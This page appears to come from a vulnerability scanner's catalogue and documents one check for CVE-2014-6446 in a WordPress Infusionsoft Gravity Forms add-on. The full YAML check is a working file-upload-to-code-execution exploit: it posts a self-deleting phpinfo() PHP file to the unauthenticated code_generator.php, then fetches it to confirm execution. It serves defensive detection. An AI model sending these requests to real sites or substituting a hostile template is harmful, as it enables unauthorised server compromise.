Infusionsoft Gravity Forms — 1 vulnerability check

noctis ships 1 vulnerability check for Infusionsoft Gravity Forms, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

WordPress Infusionsoft Gravity Forms add-on code_generator.php file upload to PHP execution

CVECVE-2014-6446
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/infusionsoft-gravityforms/CVE-2014-6446.yaml

Posts a PHP file to the plugin's unauthenticated code_generator.php, requests it from the out/ directory and reports when it runs (phpinfo() page).

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /wp-content/plugins/infusionsoft/Infusionsoft/utilities/code_generator.php HTTP/1.0
  2. Checks gate.banner for >Code Generator<
  3. Raw TCP (TLS on HTTPS), sent verbatim: POST /wp-content/plugins/infusionsoft/Infusionsoft/utilities/code_generator.php HTTP/1.0
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /wp-content/plugins/infusionsoft/Infusionsoft/utilities/out/noctis_poc.php HTTP/1.0
  5. Checks resp.banner for (?s)^HTTP/1\.[01] 200\b.*>phpinfo\(\)<.*>PHP Documentation< → finding QoD 97: Infusionsoft code_generator.php accepted a PHP upload and out/noctis_poc.php executed (phpinfo() page): …

References:

Feed source — tests/vulnerabilities/infusionsoft-gravityforms/CVE-2014-6446.yaml
uid: 85c5c00f-a3aa-46f5-b1f1-824739a1a706
name: "WordPress Infusionsoft Gravity Forms add-on code_generator.php file upload to PHP execution (CVE-2014-6446)"
description: "Posts a PHP file to the plugin's unauthenticated code_generator.php, requests it from the out/ directory and reports when it runs (phpinfo() page)."
cves: [CVE-2014-6446]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.3
tags: [openvas-migrated, http, infusionsoft-gravityforms]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-6446"
  - "OpenVAS NASL 2014/gb_wp_infusionsoft_gravity_forms_file_upload_vuln.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL 2014/gb_wp_infusionsoft_gravity_forms_file_upload_vuln.nasl (GPL-2.0-only).
steps:
  - id: seed
    action: set_var
    var_name: product
    var_value: false
  - id: gate_probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /wp-content/plugins/infusionsoft/Infusionsoft/utilities/code_generator.php HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: gate
  - id: gate_match
    action: match
    source: gate.banner
    pattern: ">Code Generator<"
    on_match:
      set_vars:
        product: true
  - id: upload
    action: tcp_connect
    port: "{{port}}"
    send: "POST /wp-content/plugins/infusionsoft/Infusionsoft/utilities/code_generator.php HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 121\r\nConnection: close\r\n\r\nfileNamePattern=out%2Fnoctis_poc.php&fileTemplate=%3C%3Fphp+phpinfo%28%29%3B+unlink%28+%22noctis_poc.php%22+%29%3B+%3F%3E"
    store_as: up
    condition: "product"

  - id: fetch
    action: tcp_connect
    port: "{{port}}"
    send: "GET /wp-content/plugins/infusionsoft/Infusionsoft/utilities/out/noctis_poc.php HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp
    condition: "product"

  - id: detect
    action: match
    source: resp.banner
    pattern: "(?s)^HTTP/1\\.[01] 200\\b.*>phpinfo\\(\\)<.*>PHP Documentation<"
    condition: "product"
    on_match:
      finding:
        confidence_delta: 0.7
        qod: 97
        evidence: "Infusionsoft code_generator.php accepted a PHP upload and out/noctis_poc.php executed (phpinfo() page): {{resp.banner}}"
      stop: true

View these feeds on GitHub